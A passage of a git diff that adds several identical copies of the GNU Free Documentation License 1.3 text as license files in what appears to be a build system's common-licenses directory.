+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-only b/meta/files/common-licenses/GFDL-1.3-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
